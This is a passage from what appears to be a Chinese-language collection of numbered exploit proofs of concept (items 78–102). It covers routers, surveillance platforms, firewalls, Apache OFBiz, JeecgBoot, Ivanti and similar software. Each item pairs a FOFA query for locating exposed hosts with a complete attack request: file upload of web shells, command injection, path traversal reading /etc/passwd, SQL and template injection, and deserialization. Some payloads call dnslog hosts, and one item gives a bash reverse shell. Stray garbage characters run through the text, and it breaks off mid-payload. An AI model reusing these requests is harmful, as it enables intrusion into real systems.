% d, Y- t- \+ y3 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 ^' W; @6 F. c& y# BConnection: close
- S  _3 |3 a) `* K- @. K! ?" CContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
% C# ?  I! j/ U# }2 ?Accept-Language: zh-CN,zh;q=0.9
  ~7 j7 {- J6 I8 x% Y9 {Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
3 |$ g& {  d+ O5 |, |Content-Disposition: form-data; name="folder"
5 i7 a0 [  Y. L3 A, i" m3 m9 I
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
2 _9 I' I0 M. r$ v" h4 m  PContent-Type: application/octet-stream

" ?8 o; H. r- G; _  vhello1234567
( Y$ V  k! z1 i9 e5 X7 {; f------------398jnjVTTlDVXHlE7yYnfwBoix
  C, v* P, _: t0 iContent-Disposition: form-data; name="Upload"
3 r/ M6 N$ }! A& j0 {
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
6 P0 U- |6 y1 J$ u- y# Y2 QFOFA：icon_hash="2001627082"
/ o+ a+ C+ u" XPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
( C' b: H2 n' ~7 n& iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( z0 Q" V& r* BConnection: close
Content-Length: 336
8 Q# y3 c, o& b+ e! _6 J7 z. S; yAccept-Encoding: gzip
6 f( p! M7 D5 _" d) L; {Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
/ r/ C/ j5 D% J( XContent-Type: image/png
9 y5 ^7 ]: L2 A6 Y4 i# ?
# k" n* C  p. u% n: Y7 B* NYsOxWxSvj1KyZow1PTsh98fdu6l
. w; `0 t/ m8 M: e+ R------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

1 S7 W" e3 J9 Y/ q' M. L) d9 i/Applications/SkillDevelopAndEHS/
% c7 v" R* r/ G* _1 i) X# L3 s; F& h------YsOxWxSvj1KyZow1PTsh98fdu6l--
, l) q0 Y) P% q) ]  n

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
6 r* P1 _2 @- h  Y- D0 UHost: x.x.x.x
1 W, K' f0 _% I$ G$ y

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
6 r9 N$ ?( H/ K; u7 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 Y! `. W  {" c+ j) F/ g( SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ a* R/ N7 p2 ?( mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ b4 t% l" t' J: f* m8 A" A, K) bAccept-Encoding: gzip, deflate
2 i/ Z0 u3 u; q8 D- uConnection: close
# h/ e9 n% z( p9 R- aUpgrade-Insecure-Requests: 1
  ], I2 {6 O8 e  b% M, H) d
' j+ u  K  w( W% D6 x) T
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
7 g; z$ I# F2 e4 o( }POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
4 V& |! d& E; M5 I6 CHost: x.x.x.x
0 o! N/ D7 q% }$ t# D- x% ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! B4 V4 R/ b+ r  C$ G8 G3 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 I7 p; f% R7 ^+ L% C  MConnection: close
0 z/ a1 M0 E; Z) A3 R) n# r( i- rContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

' @, K" N) U; {! F( u5 ]; c) Q& t! Y& f<% out.print("oessqeonylzaf");%>
$ z4 Z& I. Y  l* l$ V8 n! T' F/ I

* s  \; j: W/ h7 _GET /xykqmfxpoas.jsp HTTP/1.1
! l8 p. ?6 b$ B0 P0 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  B0 {+ T1 C) j8 O+ A& b- y) }- aAccept-Encoding: gzip


4 u( p- v1 M4 E  M3 _) a+ a- N81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
0 O0 t( T$ ]7 |/ W* ~" o# p- H7 HFOFA：app="uniview-视频监控"
$ z$ I  t: S7 W; s* u5 FGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
# ~: Z% {- s( l) O3 W2 k% P5 ?: |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 g& U; C" y1 F1 X; a! W3 mConnection: close
& ]& [) I) N  eAccept-Encoding: gzip
" ], @% J" o  e# ~4 l5 [
  u  b2 b2 t& n
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ D5 ]9 [2 r0 f3 q+ o  Q' Q& a9 VFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
3 d7 m7 d, I, EUser-Agent: Go-http-client/1.1
3 H% M9 R4 h' H% e3 m$ X" HContent-Length: 23
4 {. n% L% o7 S- IAccept-Encoding: gzip
4 N  A- `8 d6 t8 CConnection: close
. h9 R$ k5 w6 ~4 D" GContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

+ Q7 ?& \0 M6 ^- [5 ]2 ^z1=1&z2="|id;"&z3=bhost
: p' C- o8 a! Y& b# r& M) S

83. JeecgBoot testConnection 远程命令执行
  J& g* b* G: jFOFA：title=="JeecgBoot 企业级低代码平台"
. M. B' s, x! ~1 T5 ]

POST /jmreport/testConnection HTTP/1.1
6 E! E2 ~* c, Y: C, ], s& GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
9 z. h7 P- E4 oAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
2 y% M0 W8 \  U! K4 A+ l, AContent-Type: application/json
  N" Q$ f  ?! {& G% i) ?+ S
PAYLOAD
- P5 h2 w$ j( J5 z0 K
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

$ O* J  Y5 l! z
5 D  W$ [0 q6 [, o7 @/ ^
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
* s( W" _8 X+ T2 X, T1 y: @Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
) Z2 f$ d4 C" F: |2 l; ~Content-Length: 156
Accept: */*
Connection: close
: K' R0 E+ u0 P6 e* K+ HContent-Type: application/json
4 W5 L/ w! M% KAccept-Encoding: gzip
3 U% g3 T/ s3 `
* z2 ~8 i6 |) A  ~{
1 F) p; L; C% o5 W( Y9 Q, y6 T5 } "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


7 R& X8 O; @* x0 j) c85. SysAid On-premise< 23.3.36远程代码执行
1 G1 e7 u/ M* D& aCVE-2023-47246
7 q0 {/ u; l2 b( E* A& i  gFOFA：body="sysaid-logo-dark-green.png"
- Z2 f! F; t( b: Y: JEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! _: E/ p8 y- s6 }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ A7 F$ }: A* C7 j0 h4 MContent-Type: application/octet-stream
' g0 L9 m6 c) w( S; W6 xAccept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
" a- w! L. ?$ ]' S. D7 M3 K# G- ]
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
; t8 G9 A2 j# {POST /cgi-bin/network_test.php HTTP/1.1
/ p/ l- e- G+ Z( i* lHost: x.x.x.x
. g( m2 a# y* oUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
! v* {. `! K; a* n9 Y% zConnection: close
Content-Length: 44
! @2 w7 R0 b( c. f4 S; {Accept: */*
Accept-Encoding: gzip
. L, _. ]6 ~5 j3 wAccept-Language: en
* Q) \& ]8 R- ?# xContent-Type: application/x-www-form-urlencoded
6 ^% e6 y" v" ?, D; t
host=%0acat${IFS}/etc/passwd%0a&command=ping

8 o  j+ N' ?" q9 h9 }
/ `3 }4 Z1 y' i87. 安恒明御安全网关aaa_local_web_preview文件上传
- v: z( a4 d+ c2 v" u/ M, F4 QFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
, r1 B/ s( }) j$ h  V2 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 L0 R/ d* L* k# ~% N7 e5 p4 I, Q& NConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
3 X. c% B6 I& O- ]; B# ?* A' L
+ @4 G: g  Z1 ~--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
. j$ g! O" X4 Q9 ~3 p; l- Y5 V) bContent-Type: text/plain
; i; Z3 _: J0 g- I% q$ e6 O2 U6 r
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
, M% o! V& r/ I4 W9 K
4 @/ X* X5 R: S
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
  c+ y+ ]. n2 O3 x% VGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
2 g' Q+ U& }. D  BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 q4 T7 R% t+ i+ ~& gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- N2 C7 Y' M/ P* YConnection: close
# v; v9 w0 G  t+ l, _8 u

2 }2 V& q. b$ i- i" B' g/astdfkhl.php
" ?( i$ N# }7 v6 U: A+ z
; t/ @. m4 P3 K: ?. g2 N1 a- n) O89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
  L0 I5 [0 y8 f, z0 a" t+ CPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
/ d: d& U- G' C' {- `& wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  v% y; @4 E& ?; A0 c! SContent-Length: 41
Content-Type: application/x-www-form-urlencoded
0 M) O. D  E0 l) {) g9 ?. m0 PAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
- a6 Z6 u/ G6 R% _$ S, A. ?
5 z8 d$ }8 @0 `
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
# M; S& i. e- \* a+ ~POST /php/ping.php HTTP/1.1
Host: x.x.x.x
0 X, [* z* K7 q/ N' R0 X2 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- T- p" l" u/ [/ E* VContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
2 e2 d+ b5 R# l! F% bAccept-Encoding: gzip, deflate
! o' n( q+ [$ v, Q8 d0 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
$ q" a$ ?; [; D# u7 k; C$ eX-Requested-With: XMLHttpRequest
6 C4 [" {. S* O0 s6 n
& W8 q% \2 h6 ^5 b3 Z9 E# Hjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
, \) @: @0 `9 ~' M5 I0 @

" G% n' h' F! g5 g! {91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
& Q* L. D1 I- J' C' ~FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
2 ]3 P9 A) `0 x6 ~+ _9 ~3 EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
" n9 b8 N! c9 N% `$ j+ I# M  |; pAccept-Encoding: gzip, deflate
Accept: */*
* q& b9 L& k1 fConnection: keep-alive


2 P! L7 G8 D4 ?/ r
3 m; R+ C4 ~8 f! n* e0 @) n92. 海康威视运行管理中心session命令执行
Fastjson命令执行
( f6 E! l6 W- J1 y/ ~( r7 nhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
( N' G1 [) o9 `6 f: cPOST /center/api/session HTTP/1.1
0 U+ b4 F" M$ {/ \. @, sHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
9 i3 C  O  k4 }; G/ b& W# KX-Language-Type: zh_CN
: T; Q  \; O- TTestcmd: echo test
+ X% l7 e, x) q! t3 N7 {  j* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
5 F1 a+ O) Z! E% ^9 j
PAYLOAD


4 `( d1 Q; a3 x' W93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
) k+ j$ y- P, w9 \$ T; LFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
0 L3 Y8 D5 d# m: _% |POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
, I+ t# a8 @1 `+ P9 J9 F, _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 d& x. M- r. A2 Q. f" \8 g, g
------WebKitFormBoundarykcbkgdfx
9 G+ p# F/ W" d; OContent-Disposition: form-data; name="MAX_FILE_SIZE"
, |5 Z7 s0 r+ n5 v: U0 @
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
. ?, W/ [8 e: ZContent-Type: text/plain

2 H5 o3 F& ~9 c6 I, wwagletqrkwrddkthtulxsqrphulnknxa
+ J" D  K8 W/ X$ k6 ]------WebKitFormBoundarykcbkgdfx
# c8 r# a. l. ^' u1 a, {9 M4 TContent-Disposition: form-data; name="submit_post"

obj_app_upfile
* X3 Y8 \. d# q2 W8 G, a7 p% d------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
4 m# J$ t( r( [7 I
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

/ s6 [: e! M3 u8 C1 _& y
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

! l/ m; j  W- I' c
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
" n( C3 R! f, M- M: j& IFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
  b+ r  ~3 T' }7 ~Host: x.x.x.x
2 Z' ~  m$ f$ q1 V; O% H2 x* IContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
0 E. |) _, i* d- WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- \% [" h- T0 z1 E, @
7 u7 m6 Y1 w) C, `- C------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
/ [: h2 P; u* X5 f# C  f: O! {Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
) d/ |- ?7 l& Y: m7 l  OContent-Type: text/plain

' \. u% x0 W; l, X: hpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
7 X# o! R( l3 l+ r  mContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
' \3 q! e9 y8 _" A; r& eContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
! ^7 D# @4 X- H( T; f------WebKitFormBoundarybqvzqvmt--
/ q7 l: I$ w" _$ J2 Z+ i5 V$ s1 i


5 n% ~  T3 ^: Q. \) |GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
& G( F; i! O! nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, K- _; y9 L- j* @/ d) ^6 D! k/ |2 `
! J/ B1 N# R- O6 M

) X/ D- K: Z' @95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
5 v6 n: _6 z- C. }FOFA：app="Apache_OFBiz"
4 U; ?9 E% U8 c# \) APOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 T$ N1 C$ s" F9 VConnection: close
4 V9 O5 H1 C. Y1 {  O  C. ~Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

/ G( o& C6 g+ O+ o( z- R<?xml version="1.0"?>
<methodCall>
6 m# _% {* P$ I. U* q3 ~   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
; n* x! Q/ G' p$ b, N; }3 f      <param>
      <value>
        <struct>
# L7 \# L0 o% ?       <member>
' U! `* f* c4 ?. H# g* M! Z6 y          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
; y0 W/ V& [' E. M        </member>
% T; w; N* J7 Z, A3 F0 V: E      </struct>
      </value>
    </param>
    </params>
</methodCall>
' Z* m; M1 o  ~5 S" G) ^; g2 f4 U

1 [4 V3 M7 k) }2 d6 {* A' l用ysoserial生成payload
& u* Q9 K9 Q: A: s: k: njava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 x6 ]2 u6 V. C% l/ n+ f2 R
; ^: U8 W8 v% B
将生成的payload替换到上面的POC
, G& W+ S9 H! q6 o) }4 H6 N3 Y7 ZPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
7 T  Z% a0 r% S7 |% NContent-Length: 889
Content-Type: application/xml
' X8 s9 h: d- B( @2 iAccept-Encoding: gzip
' U/ O- \/ ]7 k/ T4 S  m
PAYLOAD
6 a3 I2 C. Z2 G- A+ b. ^
9 E7 C2 u! X) r& Y1 @( O+ p96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 }! A) o* j; p0 iFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 w% }& s3 L: R1 Q) UHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
$ b  r% A' m. a9 }1 n3 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
6 L" [3 p  n  l$ Z. C4 I& Z* x5 GContent-Length: 55

3 z( h  m, K& j2 j# L3 [groovyProgram=throw+new+Exception('id'.execute().text);

8 K- s4 m( }" f3 M; b. X
反弹shell
在kali上启动一个监听
nc -lvp 7777
( N( {2 B/ a1 O' m% I; @7 _% L
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
# s# Y0 e- P( h( D4 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
4 A# _. R3 y# ~  \. i1 l: GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 C: o' q& o/ XContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

' j, w' d" l* S8 A0 ^97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
6 @' T. Y6 @4 o2 j# j* |$ sGET /passport/login/ HTTP/1.1
! X( q# t" @& E7 a# WHost: 192.168.40.130:8085
% _9 d' [* q! g! g. I) {4 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
$ c( q2 r' h. ^6 BConnection: close
Cookie: rememberMe=PAYLOAD
% M6 v+ S3 I$ ^( `& i+ LX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
7 X5 Y9 W& [: D( [9 z3 ?9 P7 g/ DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
8 a9 V3 J+ x. O7 \Content-Length: 121
Accept: */*
0 b7 y7 n- u! X5 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
# n1 R) [$ H5 `# H& l
& I- V0 ]; j3 \7 ?7 l" Eid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

* K  g, F- H/ b
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
! o" p- q( R) y1 K6 i0 I8 cFOFA：app="Ncast-产品" && title=="高清智能录播系统"
. ~/ I1 u& b; V+ v" gPOST /classes/common/busiFacade.php HTTP/1.1
! ]9 d3 @; I6 [) u3 x  O. QHost: 192.168.40.130:8080
: O0 W6 [+ r$ \  i3 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; ~4 J% s7 T3 G& X2 }& @3 _& SConnection: close
Content-Length: 154
# R# S* c' w8 ?% `Accept: */*
Accept-Encoding: gzip, deflate
$ K; q$ ?7 x9 v) Y: K/ A. w3 X, r7 P' KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, h- d7 ~5 c  eContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
1 n9 R, [' E  A* }# P6 |0 q
  W" U+ Q+ R! h  i%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* p% ]2 L% E9 [& H
! s! D( o( d+ i
: K; Z' ~2 g. H, W# X) M100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 E" w4 }, k; rCVE-2024-0352
, `) t  T0 S* `FOFA：icon_hash="874152924"
% y5 |5 ^/ ^% f2 E- vPOST /api/file/formimage HTTP/1.1
5 K' `. a. O" D. ?Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! l- i7 F6 ?5 N' s6 R3 w+ a  t- Z4 eConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
/ P# T, \. A- T1 L/ ZAccept-Encoding: gzip

" F, Y5 `- }. x4 R------WebKitFormBoundarygcflwtei
9 d* b. T4 Z5 s2 m3 fContent-Disposition: form-data; name="file";filename="IE4MGP.php"
: q9 l0 _6 a& z# G; C! `$ n, r$ p  x9 TContent-Type: application/x-php
' |0 k  C" |, F; b1 Y
8 N, q2 @3 n+ ]2ayyhRXiAsKXL8olvF5s4qqyI2O
. F! p  y& H" J; @& e! q0 e------WebKitFormBoundarygcflwtei--


5 d/ a  J, ], J' D% T  ^101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
0 Z% B* f' }7 a# r* \- K$ LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

( u! [* x! l0 E2 b
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- t4 k, {) d* t0 p( s% FCVE-2024-21893
+ `; _2 T6 l) t  ^' w- k$ zFOFA：body="welcome.cgi?p=logo"
9 t* `- o8 _, O* @& f- H, d' fPOST /dana-ws/saml20.ws HTTP/1.1
# O$ t, I4 ]6 C& r6 T4 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 P/ d; w  {3 O" B$ b4 NConnection: close
Content-Length: 792
Accept-Encoding: gzip
9 G: \' q" L- A# k0 q. \1 o
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod 